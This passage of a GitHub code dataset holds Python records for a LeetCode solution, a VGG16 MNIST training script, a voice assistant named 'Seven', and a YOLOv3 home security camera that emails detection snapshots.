list(map(lambda x: x % 60, time))\n freq = Counter(remain)\n ans = 0\n for t in remain:\n if not t:\n ans += freq[t]\n else:\n if 60 - t in freq:\n ans += freq[60 - t]\n ans -= freq[30]\n ans -= freq[0]\n return ans // 2\n\n\ntest = [30, 20, 150, 100, 40]\nans = Solution()\nans.numPairsDivisibleBy60(test)\n", "repo_name": "dinobobo/Leetcode", "sub_path": "1010_pairs_of_durations_divisible_60.py", "file_name": "1010_pairs_of_durations_divisible_60.py", "file_ext": "py", "file_size_in_byte": 556, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 8, "usage_type": "call"}]} {"seq_id": "25285679120", "text": "from df_bundle import *\nimport tensorflow as tf\nimport numpy as np\nfrom skimage.transform import resize\nimport sys\n\n# Get the dataset\ndataset = 'mnist'\nsys.stdout.write(\"Loading %s dataset...\" % dataset);sys.stdout.flush()\nif dataset=='mnist':\n (x_train, y_train), (x_test, y_test) = tf.keras.datasets.mnist.load_data(path=\"mnist.npz\")\n x_train = np.expand_dims(x_train, axis=3)\n x_test = np.expand_dims(x_test, axis=3)\nelif dataset == 'cifar10':\n (x_train, y_train), (x_test, y_test) = tf.keras.datasets.cifar10.load_data()\n\nx_train = x_train.astype('float32') / 255.0\nx_test = x_test.astype('float32') / 255.0\n\n# Upsample images to 48x48 pixels...\nsys.stdout.write(\"done\\nUpsampling images to 48x48...\");sys.stdout.flush()\nx_train = np.stack([resize(im, (48,48)) for im in x_train],axis=0)\nx_test = np.stack([resize(im, (48,48)) for im in x_test],axis=0)\n\nx_train = (x_train*255).astype('uint8')\nx_test *= (x_test*255).astype('uint8')\nsys.stdout.write(\"done\\n\");sys.stdout.flush()\n\n\n# Load the VGG16 architecture\n_, height, width,channels = x_train.shape\nnoutputs = len(np.unique(y_train))\n\nmodel = tf.keras.applications.VGG16(\n include_top=True,\n weights=None,\n input_shape=(height,width,channels),\n pooling=None,\n classes=noutputs,\n classifier_activation=\"softmax\",\n )\n\n# Train the model\noptimiser = tf.keras.optimizers.Adam(learning_rate=1e-4)\n\nmodel.compile(\n loss='sparse_categorical_crossentropy',\n optimizer=optimiser,\n metrics=['accuracy']\n)\n\nmodel.fit(x_train, y_train, epochs=20, batch_size=128,shuffle=True)\n\n# Show model performance\ntrain_accuracy = model.evaluate(x_train,y_train)[model.metrics_names.index('accuracy')]\ntest_accuracy = model.evaluate(x_test,y_test)[model.metrics_names.index('accuracy')]\n\nprint(\"Train/Test accuracy = %.3f/%.3f\" % (train_accuracy,test_accuracy))\n\n\n# Conceptual complexity computation\nN = 4000 #Number of points to sample from the training set\n #for the computation of conceptual capacity.\nselected_indexes = np.random.permutation(len(x_train))[:N]\n\nHdf = df_ccomplexity(model,x_train[selected_indexes],y_train[selected_indexes],verbose=True)\n\nprint(\"Hdf_%d = %.3f\" % (N,Hdf))\n", "repo_name": "lechszym/dfbundle", "sub_path": "run_example.py", "file_name": "run_example.py", "file_ext": "py", "file_size_in_byte": 2220, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.stdout.write", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 9, "usage_type": "call"}, {"api_name": "tensorflow.keras.datasets.mnist.load_data", "line_number": 11, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.expand_dims", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 13, "usage_type": "call"}, {"api_name": "tensorflow.keras.datasets.cifar10.load_data", "line_number": 15, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 22, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 23, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 27, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 27, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.keras.applications.VGG16", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 44, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.random.permutation", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 64, "usage_type": "attribute"}]} {"seq_id": "31581960366", "text": "# Say hi to your brain, Seven!\r\n\r\n# Importing Required Modules\r\nfrom threading import Thread\r\nimport webbrowser as wb\r\nfrom random import randint\r\nimport datetime\r\nimport os\r\nimport json\r\nimport pyttsx3 as ps\r\nimport wikipedia as wiki\r\nimport speech_recognition as sr\r\nimport youtubesearchpython as yt_search\r\n#import goslate as gs\r\n# from pynput.keyboard import Listener, Key\r\n# from googlesearch import search\r\nfrom googlesearch import search\r\n\r\nlanguages = [\"en-us\", \"en-In\"]\r\n\r\nmusicDir = os.path.join(os.path.expanduser(\"~\"), \"Music\")\r\n\r\ndefault_settings = {\r\n \"theme\":\"light\",\r\n \"name\":\"Seven\",\r\n \"voice\":0,\r\n \"rate\":200,\r\n \"language\":languages[0],\r\n \"music dir\":musicDir,\r\n \"microphone\":\"default\",\r\n \"pos\":\"top\"\r\n}\r\n\r\ntry:\r\n with open('file/config.txt', 'r') as f:\r\n settings = json.loads(f.readline().replace(\"'\", '\"'))\r\nexcept:\r\n with open('file/config.txt', 'w') as f:\r\n f.writelines(str(default_settings))\r\n settings = default_settings\r\n\r\ntry:\r\n with open('file/commands.txt', 'r') as f:\r\n x = f.readlines()\r\n try:\r\n openCommands = json.loads(x[0].replace(\"'\", '\"'))\r\n except:\r\n openCommands = {}\r\n\r\n try:\r\n runCommands = json.loads(x[1].replace(\"'\", '\"'))\r\n except:\r\n runCommands = {}\r\n\r\nexcept Exception as e:\r\n print(e)\r\n with open('file/commands.txt', 'w') as f:\r\n openCommands = {}\r\n runCommands = {}\r\n\r\ndef updateSettings(voice):\r\n with open('file/config', 'r') as f:\r\n settings = f.readlines()\r\n settings = dict(settings)\r\n \r\n with open('file/config', 'w') as f:\r\n f.write(settings)\r\n\r\n# Function to Speak up the result\r\ndef speak(string):\r\n '''Speak the string given as parameter'''\r\n speak = ps.init('sapi5')\r\n voices = speak.getProperty('voices')\r\n rate = speak.getProperty('rate')\r\n speak.setProperty('rate', settings[\"rate\"])\r\n speak.setProperty('voice', voices[settings[\"voice\"]].id)\r\n speak.say(string)\r\n speak.runAndWait()\r\n\r\n# Funtion to Recognize the Command Given by speaking\r\ndef recognize():\r\n '''Recognize the voice'''\r\n recognizer = sr.Recognizer()\r\n if settings['microphone'] != 'default':\r\n with sr.Microphone(settings['microphone']) as source:\r\n speak(\"Yes sir!\")\r\n recognizer.pause_threshold = 1\r\n print(\"Listening...\")\r\n audio = recognizer.listen(source)\r\n else:\r\n with sr.Microphone() as source:\r\n speak(\"Yes sir!\")\r\n recognizer.pause_threshold = 1\r\n print(\"Listening...\")\r\n audio = recognizer.listen(source)\r\n try:\r\n speak(\"Just a second sir\")\r\n print('Trying to recognize...')\r\n text = recognizer.recognize_google(audio, language=settings[\"language\"])\r\n # translator = gs.Goslate()\r\n # text = translator.translate(text, 'En')\r\n print(text)\r\n return text\r\n except Exception as e:\r\n print(e)\r\n print(\"Unable to understand, Mind speaking that again, sir?\")\r\n return \"None\"\r\n\r\n# Function to interpret and execute the command\r\ndef execute_command(command):\r\n ''' This Function tries to figure out what user has commanded/requested for and execute it accordingly.'''\r\n if command == False:\r\n return (False, \"Couldn't Understand!\")\r\n real_command = command\r\n command = command.capitalize()\r\n command = command.replace(settings[\"name\"], '')\r\n command = command.lower()\r\n command = command.replace(\" \", '')\r\n command = command.replace(\"'s\", 'is')\r\n\r\n for cmds in openCommands:\r\n cmds_check = cmds.replace(\" \", \"\")\r\n cmds_check = cmds_check.lower()\r\n if command == cmds_check:\r\n try:\r\n os.startfile(openCommands[cmds])\r\n return (True, \"successful\")\r\n except:\r\n return (False, \"Couldn't Load File!\")\r\n for cmds in runCommands:\r\n cmds_check = cmds.replace(\" \", \"\")\r\n cmds_check = cmds_check.lower()\r\n if cmds_check in command:\r\n (\"Found Command\")\r\n command_to_run = runCommands[cmds] + \" \" + command.replace(cmds_check, \"\")\r\n os.system('start ' + 'powershell '+ runCommands[cmds] + \" \" + command_to_run + \";pause\")\r\n return (True, \"successful\")\r\n # if os.system('start ' +'powershell '+ runCommands[cmds] + \" \" + command_to_run):\r\n # return (True, \"successful\")\r\n # elif os.system('start ' + runCommands[cmds] + \" \" + command_to_run):\r\n # return (True, \"successful\")\r\n # else:\r\n # return (False, \"No Such Terminal Command\")\r\n\r\n if command == 'settings' or command == 'opensettings' or command == 'setting' or command=='opensetting':\r\n # os.startfile(__file__.replace('assitant.py', 'settings.pyw'))\r\n os.startfile('settings.pyw')\r\n return (True, \"successful\")\r\n if command == 'quit' or command == 'exit' or command == 'close' or command=='bye' or command=='byebye':\r\n exit()\r\n return \"Bye Have a nice day\"\r\n if \"play\" in command:\r\n command = command.replace(\"play\", \"\")\r\n command = command.replace(\"songs\", \"\")\r\n command = command.replace(\"song\", \"\")\r\n command = command.strip()\r\n music_dir = os.listdir(settings[\"music dir\"])\r\n if music_dir == \"None\":\r\n music_dir = os.environ['Music']\r\n if \"some\" in command or command == '':\r\n music_dir = os.listdir(settings[\"music dir\"])\r\n for files in music_dir:\r\n if not(\".mp3\" in files or \".wav\" in files or \".flac\" in files):\r\n music_dir.remove(files)\r\n if len(music_dir) > 0:\r\n song_to_play = music_dir[randint(0, len(music_dir) - 1)]\r\n music_path = os.path.join(settings[\"music dir\"], song_to_play)\r\n if \".mp3\" in song_to_play or \".flac\" in song_to_play or \".wav\" in song_to_play:\r\n os.startfile(music_path)\r\n return (True, \"successful\")\r\n else:\r\n search_results = yt_search.SearchVideos(keyword=command + \"song\", mode=\"dict\", max_results=1)\r\n results = search_results.result()\r\n link = results[\"search_result\"][0][\"link\"]\r\n wb.open(link)\r\n return (True, \"successful\")\r\n\r\n\r\n else:\r\n command = command.replace(\"music\", \"\")\r\n command = command.replace(\"songs\", \"\")\r\n command = command.replace(\"song\", \"\")\r\n music_dir = os.listdir(settings[\"music dir\"])\r\n for songs in music_dir:\r\n if not(\".mp3\" in songs or \".wav\" in songs or \".flac\" in songs):\r\n continue\r\n songs = songs.lower()\r\n songs_check = songs.replace(\" \", \"\")\r\n if command in songs_check:\r\n os.startfile(os.path.join(settings[\"music dir\"], songs))\r\n return (True, \"successful\")\r\n\r\n search_results = yt_search.SearchVideos(keyword=command + \"song\", mode=\"dict\", max_results=1)\r\n results = search_results.result()\r\n link = results[\"search_result\"][0][\"link\"]\r\n wb.open(link)\r\n return (True, \"successful\")\r\n\r\n if \"open\" in command:\r\n search_results = search(real_command.replace(\"open\", \"\"))\r\n wb.open(search_results[0])\r\n return (True, \"successful\")\r\n\r\n if \"wiki\" in command or \"wikipedia\" in command:\r\n query_to_search = real_command.lower()\r\n query_to_search = query_to_search.replace(\"wikipedia\", \"\")\r\n query_to_search = query_to_search.replace(\"wiki\", \"\")\r\n query_to_search = query_to_search.replace(\"search\", \"\")\r\n query_to_search = query_to_search.replace(\"for\", \"\")\r\n try:\r\n return (True, \"According to wikipidea,\" + wiki.summary(title=query_to_search, sentences=2, auto_suggest=False))\r\n except:\r\n return (True, \"According to wikipidea,\" + wiki.summary(title=query_to_search, sentences=2, auto_suggest=True))\r\n else:\r\n return (False, \"Couldn't search wikipedia\")\r\n\r\n if \"time\" in command:\r\n return (True, datetime.datetime.now().strftime(\"%I:%M %p\"))\r\n\r\n if \"date\" in command:\r\n return (True, datetime.datetime.now().strftime(\"%A, %B %d, %Y\"))\r\n\r\n if \"whatisyourname\" in command:\r\n return (True, settings['name'])\r\n \r\n if \"whoareyou\" in command:\r\n return (True, settings['name'] + \", Your Assistant Sir!\")\r\n\r\n if \"howareyou\" in command:\r\n return (True, \"Pretty Well\")\r\n\r\n if \"goodmorning\" in command:\r\n if datetime.datetime.now().strftime(\"%p\") == \"AM\":\r\n return (True, \"Good Morning sir\")\r\n else:\r\n return (True, \"Are You sure its morning\")\r\n \r\n if \"goodafternoon\" in command:\r\n if datetime.datetime.now().strftime(\"%p\") == \"PM\":\r\n hour = int(datetime.datetime.now().strftime(\"%I\"))\r\n if hour < 4:\r\n return (True, \"Good afternoon sir\")\r\n elif hour < 7:\r\n return (True, \"evening suits the time better\" )\r\n else:\r\n return (True, \"are you sure its afternoon\")\r\n else:\r\n return (True, \"Are You sure its afternoon\")\r\n \r\n if \"goodevening\" in command:\r\n if datetime.datetime.now().strftime(\"%p\") == \"PM\":\r\n hour = int(datetime.datetime.now().strftime(\"%I\"))\r\n if hour > 4 and hour < 8:\r\n return (True, \"Good evening sir\")\r\n elif hour > 8:\r\n return (True, \"its more like night time\" )\r\n else:\r\n return (True, \"are you sure its evening\")\r\n else:\r\n return (True, \"Are You sure its evening\")\r\n\r\n if \"goodnight\" in command:\r\n if datetime.datetime.now().strftime(\"%p\") == \"PM\":\r\n hour = int(datetime.datetime.now().strftime(\"%I\"))\r\n if hour > 6 and hour < 1:\r\n return (True, \"Good night sir\")\r\n elif hour > 1:\r\n return (True, \"better go get sleep sir\" )\r\n else:\r\n return (True,\"are you sure its night\")\r\n else:\r\n return (True, \"Are You sure its night\")\r\n\r\n if \"good\" in command or \"like\" in command:\r\n return (True, \"You Made My Day\")\r\n\r\n if \"canyou\" in command:\r\n return (False, \"Sorry to disappoint, Unfortunately I can't\")\r\n\r\n if \"whatis\" in command:\r\n query_to_search = real_command.lower()\r\n query_to_search = query_to_search.replace(\"wikipedia\", \"\")\r\n query_to_search = query_to_search.replace(\"wiki\", \"\")\r\n query_to_search = query_to_search.replace(\"search\", \"\")\r\n query_to_search = query_to_search.replace(\"for\", \"\")\r\n try:\r\n return (True,\"According to wikipidea,\" + wiki.summary(title=query_to_search, sentences=2, auto_suggest=False))\r\n except:\r\n return (True,\"According to wikipidea,\" + wiki.summary(title=query_to_search, sentences=2, auto_suggest=True))\r\n else:\r\n return (False, \"Couldn't search wikipidea\")\r\n\r\n if \"whois\" in command or \"whowas\" in command:\r\n query_to_search = real_command.lower()\r\n query_to_search = query_to_search.replace(\"wikipedia\", \"\")\r\n query_to_search = query_to_search.replace(\"wiki\", \"\")\r\n query_to_search = query_to_search.replace(\"search\", \"\")\r\n query_to_search = query_to_search.replace(\"for\", \"\")\r\n try:\r\n return (True,\"According to wikipidea,\" + wiki.summary(title=query_to_search, sentences=2, auto_suggest=False))\r\n except:\r\n return (True,\"According to wikipidea,\" + wiki.summary(title=query_to_search, sentences=2, auto_suggest=True))\r\n else:\r\n return (False, \"Couldn't search wikipedia\")\r\n\r\n if \"hi\" in command:\r\n return (True, \"Hi ,good to see you\")\r\n\r\n if \"hello\" in command:\r\n return (True, \"Hi ,good to see you\")\r\n\r\n \r\n return (False, \"Sorry, I can't help you with that!\")\r\n\r\nif __name__ == \"__main__\":\r\n query = recognize()\r\n print(query)\r\n result = execute_command(query)\r\n speak(result) ", "repo_name": "MR-Seven-7/Mr_Seven_Assistant", "sub_path": "assitant.py", "file_name": "assitant.py", "file_ext": "py", "file_size_in_byte": 12308, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 21, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 36, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 46, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 51, "usage_type": "call"}, {"api_name": "pyttsx3.init", "line_number": 72, "usage_type": "call"}, {"api_name": "speech_recognition.Recognizer", "line_number": 83, "usage_type": "call"}, {"api_name": "speech_recognition.Microphone", "line_number": 85, "usage_type": "call"}, {"api_name": "speech_recognition.Microphone", "line_number": 91, "usage_type": "call"}, {"api_name": "os.startfile", "line_number": 126, "usage_type": "call"}, {"api_name": "os.system", "line_number": 136, "usage_type": "call"}, {"api_name": "os.startfile", "line_number": 147, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 157, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 159, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 161, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 167, "usage_type": "call"}, {"api_name": "os.path", "line_number": 167, "usage_type": "attribute"}, {"api_name": "os.startfile", "line_number": 169, "usage_type": "call"}, {"api_name": "youtubesearchpython.SearchVideos", "line_number": 172, "usage_type": "call"}, {"api_name": "webbrowser.open", "line_number": 175, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 183, "usage_type": "call"}, {"api_name": "os.startfile", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path", "line_number": 190, "usage_type": "attribute"}, {"api_name": "youtubesearchpython.SearchVideos", "line_number": 193, "usage_type": "call"}, {"api_name": "webbrowser.open", "line_number": 196, "usage_type": "call"}, {"api_name": "googlesearch.search", "line_number": 200, "usage_type": "call"}, {"api_name": "webbrowser.open", "line_number": 201, "usage_type": "call"}, {"api_name": "wikipedia.summary", "line_number": 211, "usage_type": "call"}, {"api_name": "wikipedia.summary", "line_number": 213, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 218, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 218, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 221, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 221, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 233, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 233, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 239, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 239, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 240, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 240, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 251, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 251, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 252, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 252, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 263, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 263, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 264, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 264, "usage_type": "attribute"}, {"api_name": "wikipedia.summary", "line_number": 287, "usage_type": "call"}, {"api_name": "wikipedia.summary", "line_number": 289, "usage_type": "call"}, {"api_name": "wikipedia.summary", "line_number": 300, "usage_type": "call"}, {"api_name": "wikipedia.summary", "line_number": 302, "usage_type": "call"}]} {"seq_id": "30242184413", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nClass definition of YOLO_v3 style detection model on image and video\n\"\"\"\nimport colorsys\nimport os\nfrom timeit import default_timer as timer\n\nimport numpy as np\nfrom keras import backend as K\nfrom keras.models import load_model\nfrom keras.layers import Input\nfrom PIL import Image, ImageFont, ImageDraw\n\nfrom yolo3.model import yolo_eval, yolo_body, tiny_yolo_body\nfrom yolo3.utils import letterbox_image\nfrom keras.utils import multi_gpu_model\n\nimport time\nfrom datetime import datetime as dt\nimport datetime\n\nimport shutil\n\nKERAS_PATH='./'\nCAM_LOGFILE='./log/log_SecurityCam.log'\nCAMPROC='./record/'\nSTOPCMD=CAMPROC + 'CAM_STOP'\n\n# KERAS_PATH='/home/pi/keras-yolo3/'\n# CAM_LOGFILE='/home/pi/skills/log/log_SecurityCam.log'\n# CAMPROC='/home/pi/skills/record/'\n# STOPCMD=CAMPROC + 'CAM_STOP'\n\n# email\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.image import MIMEImage\nfrom email.mime.multipart import MIMEMultipart\nfrom email.utils import formatdate\n\nFROM_ADDRESS = 'Sending E-Mail'\nMY_PASSWORD = 'Sending E-Mail PW'\nTO_ADDRESS = 'Recieving E-Mail'\n# BCC = 'raspi@mbox.re'\nSUBJECT = '[Notice] Someome is in your room!'\nBODY = '\\nFrom RaspberryPi python3.'\n\n\n# def create_message(from_addr, to_addr, bcc_addrs, subject, body, img_path):\ndef create_message(from_addr, to_addr, subject, body, img_path, file_name):\n msg = MIMEMultipart()\n msg.preamble = body\n msg['Subject'] = subject\n msg['From'] = from_addr\n msg['To'] = to_addr\n #msg['Bcc'] = bcc_addrs\n msg['Date'] = formatdate()\n with open(img_path, 'rb') as fp:\n img = MIMEImage(fp.read())\n img.add_header('Content-Disposition', 'attachment', filename=file_name)\n msg.attach(img)\n body = MIMEText(body.encode(\"utf-8\"), body, 'utf-8')\n msg.attach(body)\n return msg\n\n\ndef send(from_addr, to_addrs, msg):\n smtpobj = smtplib.SMTP('smtp.gmail.com', 587)\n smtpobj.ehlo()\n smtpobj.starttls()\n smtpobj.ehlo()\n smtpobj.login(FROM_ADDRESS, MY_PASSWORD)\n # smtpobj.sendmail(from_addr, to_addrs, msg.as_string())\n smtpobj.send_message(msg)\n smtpobj.close()\n\nclass YOLO(object):\n _defaults = {\n# \"model_path\": 'model_data/yolo.h5',\n# \"anchors_path\": 'model_data/yolo_anchors.txt',\n \"model_path\": KERAS_PATH + 'model_data/yolo-tiny.h5',\n \"anchors_path\": KERAS_PATH + 'model_data/tiny_yolo_anchors.txt',\n \"classes_path\": KERAS_PATH + 'model_data/coco_classes.txt',\n \"score\" : 0.3,\n \"iou\" : 0.45,\n \"model_image_size\" : (416, 416),\n \"gpu_num\" : 1,\n }\n\n @classmethod\n def get_defaults(cls, n):\n if n in cls._defaults:\n return cls._defaults[n]\n else:\n return \"Unrecognized attribute name '\" + n + \"'\"\n\n def __init__(self, **kwargs):\n # Write Process number\n proc_path = CAMPROC + 'cam_process.txt'\n with open(proc_path, mode='w') as fproc:\n fproc.write(str(os.getpid()))\n fproc.close()\n #Init\n self.__dict__.update(self._defaults) # set up default values\n self.__dict__.update(kwargs) # and update with user overrides\n self.class_names = self._get_class()\n self.anchors = self._get_anchors()\n self.sess = K.get_session()\n self.boxes, self.scores, self.classes = self.generate()\n\n def _get_class(self):\n classes_path = os.path.expanduser(self.classes_path)\n with open(classes_path) as f:\n class_names = f.readlines()\n class_names = [c.strip() for c in class_names]\n return class_names\n\n def _get_anchors(self):\n anchors_path = os.path.expanduser(self.anchors_path)\n with open(anchors_path) as f:\n anchors = f.readline()\n anchors = [float(x) for x in anchors.split(',')]\n return np.array(anchors).reshape(-1, 2)\n\n def generate(self):\n model_path = os.path.expanduser(self.model_path)\n assert model_path.endswith('.h5'), 'Keras model or weights must be a .h5 file.'\n\n # Load model, or construct model and load weights.\n num_anchors = len(self.anchors)\n num_classes = len(self.class_names)\n is_tiny_version = num_anchors==6 # default setting\n try:\n self.yolo_model = load_model(model_path, compile=False)\n except:\n self.yolo_model = tiny_yolo_body(Input(shape=(None,None,3)), num_anchors//2, num_classes) \\\n if is_tiny_version else yolo_body(Input(shape=(None,None,3)), num_anchors//3, num_classes)\n self.yolo_model.load_weights(self.model_path) # make sure model, anchors and classes match\n else:\n assert self.yolo_model.layers[-1].output_shape[-1] == \\\n num_anchors/len(self.yolo_model.output) * (num_classes + 5), \\\n 'Mismatch between model and given anchor and class sizes'\n\n \n with open(CAM_LOGFILE, mode='a') as flog:\n flog.write('{} model, anchors, and classes loaded.\\n'.format(model_path))\n\n # Generate colors for drawing bounding boxes.\n hsv_tuples = [(x / len(self.class_names), 1., 1.)\n for x in range(len(self.class_names))]\n self.colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples))\n self.colors = list(\n map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)),\n self.colors))\n np.random.seed(10101) # Fixed seed for consistent colors across runs.\n np.random.shuffle(self.colors) # Shuffle colors to decorrelate adjacent classes.\n np.random.seed(None) # Reset seed to default.\n\n # Generate output tensor targets for filtered bounding boxes.\n self.input_image_shape = K.placeholder(shape=(2, ))\n if self.gpu_num>=2:\n self.yolo_model = multi_gpu_model(self.yolo_model, gpus=self.gpu_num)\n boxes, scores, classes = yolo_eval(self.yolo_model.output, self.anchors,\n len(self.class_names), self.input_image_shape,\n score_threshold=self.score, iou_threshold=self.iou)\n return boxes, scores, classes\n\n def detect_image(self, image, log_path):\n InPerson = False\n #start = timer()\n\n if self.model_image_size != (None, None):\n assert self.model_image_size[0]%32 == 0, 'Multiples of 32 required'\n assert self.model_image_size[1]%32 == 0, 'Multiples of 32 required'\n boxed_image = letterbox_image(image, tuple(reversed(self.model_image_size)))\n else:\n new_image_size = (image.width - (image.width % 32),\n image.height - (image.height % 32))\n boxed_image = letterbox_image(image, new_image_size)\n image_data = np.array(boxed_image, dtype='float32')\n\n #print(image_data.shape)\n image_data /= 255.\n image_data = np.expand_dims(image_data, 0) # Add batch dimension.\n\n out_boxes, out_scores, out_classes = self.sess.run(\n [self.boxes, self.scores, self.classes],\n feed_dict={\n self.yolo_model.input: image_data,\n self.input_image_shape: [image.size[1], image.size[0]],\n K.learning_phase(): 0\n })\n\n #print(len(out_boxes))\n with open(log_path, mode='a') as f:\n f.write('{},'.format(len(out_boxes)))\n\n font = ImageFont.truetype(font='font/FiraMono-Medium.otf',\n size=np.floor(3e-2 * image.size[1] + 0.5).astype('int32'))\n thickness = (image.size[0] + image.size[1]) // 300\n\n for i, c in reversed(list(enumerate(out_classes))):\n predicted_class = self.class_names[c]\n box = out_boxes[i]\n score = out_scores[i]\n \n if predicted_class == 'person':\n InPerson = True\n label = '{} {:.2f}'.format(predicted_class, score)\n draw = ImageDraw.Draw(image)\n label_size = draw.textsize(label, font)\n\n top, left, bottom, right = box\n top = max(0, np.floor(top + 0.5).astype('int32'))\n left = max(0, np.floor(left + 0.5).astype('int32'))\n bottom = min(image.size[1], np.floor(bottom + 0.5).astype('int32'))\n right = min(image.size[0], np.floor(right + 0.5).astype('int32'))\n #print(label, (left, top), (right, bottom))\n with open(log_path, mode='a') as f:\n f.write('{},{},{},{},{},{},'.format(predicted_class, score,left,top,right,bottom))\n\n if top - label_size[1] >= 0:\n text_origin = np.array([left, top - label_size[1]])\n else:\n text_origin = np.array([left, top + 1])\n\n # My kingdom for a good redistributable image drawing library.\n for i in range(thickness):\n draw.rectangle(\n [left + i, top + i, right - i, bottom - i],\n outline=self.colors[c])\n draw.rectangle(\n [tuple(text_origin), tuple(text_origin + label_size)],\n fill=self.colors[c])\n draw.text(text_origin, label, fill=(0, 0, 0), font=font)\n del draw\n\n #end = timer()\n #print(end - start)\n with open(log_path, mode='a') as f:\n f.write('\\n')\n return InPerson,image\n \n def close_session(self):\n self.sess.close()\n\n\n\ndef detect_video(yolo, video_path, output_path=\"\"):\n import cv2\n vid = cv2.VideoCapture(video_path)\n if not vid.isOpened():\n raise IOError(\"Couldn't open webcam or video\")\n with open(CAM_LOGFILE, mode='a') as flog:\n flog.write('OUTPUT: {}\\n'.format(output_path))\n flog.write('Process: {}\\n'.format(str(os.getpid())))\n \n # Write detaction log \n log_path = output_path + 'detaction_log.csv'\n with open(log_path, mode='w') as f:\n f.write('time,numbers,class,score,left,top,right,bottom,\\n')\n \n isOutput = True if output_path != \"\" else False\n sended = False\n detacted = False\n captureOn = dt.now()\n while True:\n return_value, frame = vid.read()\n if isOutput:\n dsk = int(shutil.disk_usage(os.getcwd()).free / 1024 / 1024)\n if dsk < 100:\n with open(CAM_LOGFILE, mode='a') as flog:\n flog.write(\"Disk remain: {:,d}[MB]\\n\".format(dsk))\n flog.write('[ERROR] Not enough disk remain!!!\\n')\n break\n tdatetime = dt.now()\n with open(log_path, mode='a') as f:\n f.write(tdatetime.strftime('%Y/%m/%d %H:%M:%S') + ',')\n video_name = tdatetime.strftime('%Y%m%d_%H%M%S') + '.png'\n if captureOn > tdatetime:\n cv2.imwrite(output_path + video_name,frame)\n\n image = Image.fromarray(frame)\n detacted,image = yolo.detect_image(image,log_path)\n result = np.asarray(image)\n ftext = \"Recorded at: \" + tdatetime.strftime('%Y-%m-%d %H:%M:%S')\n cv2.putText(result, text=ftext, org=(3, 15), fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n fontScale=0.50, color=(255, 0, 0), thickness=2)\n #Displaying the result\n #cv2.namedWindow(\"result\", cv2.WINDOW_NORMAL)\n #cv2.imshow(\"result\", result)\n if isOutput & detacted:\n #out.write(result)\n output_img = output_path + 'detacted/redult_' + video_name\n cv2.imwrite(output_img,result)\n if not sended:\n sended = True\n captureOn = dt.now()\n captureOn = captureOn + datetime.timedelta(minutes=30)\n msg = create_message(FROM_ADDRESS, TO_ADDRESS, SUBJECT, \n tdatetime.strftime('%Y-%m-%d %H:%M:%S') + BODY, 